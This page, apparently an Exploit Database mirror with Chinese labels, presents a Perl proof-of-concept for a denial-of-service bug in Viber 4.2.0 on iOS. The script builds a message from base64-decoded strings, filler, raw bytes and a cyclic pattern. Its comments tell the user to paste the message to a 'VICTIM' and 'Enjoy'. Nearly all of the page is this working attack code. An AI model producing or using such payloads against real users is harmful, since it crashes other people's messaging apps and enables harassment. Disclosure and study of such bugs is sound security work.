Viber 4.2.0 – Non-Printable Characters Handling Denial of Service

• Exploit Database
• 17 阅读

• 作者： Mohammad Reza Espargham
  日期： 2015-08-31
• 类别：

  • dos
  平台：

  • ios
• 来源：https://www.exploit-db.com/exploits/38032/

• #!/usr/bin/perl -w
  #-*- coding: utf-8 -*
  #
  #[+] Title:Viber Non-Printable Characters Handling Denial of Service Vulnerability
  #[+] Product: Viber
  #[+] Vendor: http://www.viber.com/en/
  #[+] SoftWare Link : https://itunes.apple.com/app/viber-free-phone-calls/id382617920?mt=8
  #[+] Vulnerable Version(s): Viber 4.2.0 on IOS 7.1.2
  #
  #
  # Author: Mohammad Reza Espargham
  # Linkedin: https://ir.linkedin.com/in/rezasp
  # E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
  # Website : www.reza.es
  # Twitter : https://twitter.com/rezesp
  # FaceBook: https://www.facebook.com/mohammadreza.espargham
  
  
  #Source :https://www.securityfocus.com/bid/75217/info
  
  
  # 1.run perl code
  # 2.Copy the perl output text
  # 3.Open Viber Desktop
  # 4.Select Your VICTIM
  # 5.Paste and Message
  # 6.Enjoy
  
  
  use open ':std', ':encoding(UTF-8)';
  system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  use MIME::Base64;
  
  $ut="M7tktuYbL14T";
  $utd = decode_base64($ut);
  
  $lt="sNiw2KAg2KAg2Ao=";
  $ltd = decode_base64($lt);
  
  $bt="M7tktuYbL14T";
  $btd = decode_base64($bt);
  
  
  $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9".
  "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
  "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9".
  "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
  "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9".
  "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9".
  "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9".
  "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
  "Aq0Aq1Aq2Aq3Aq4Aq5Aq";
  $tt="\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
  "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05";
  
  $buffer = "A"x153; # 100xA
  $buffer1 = "A"x63; #5xA
  print "\n\n$utd$buffer$ltd$tt$buffer1$junk$btd\n\n";
  #END <3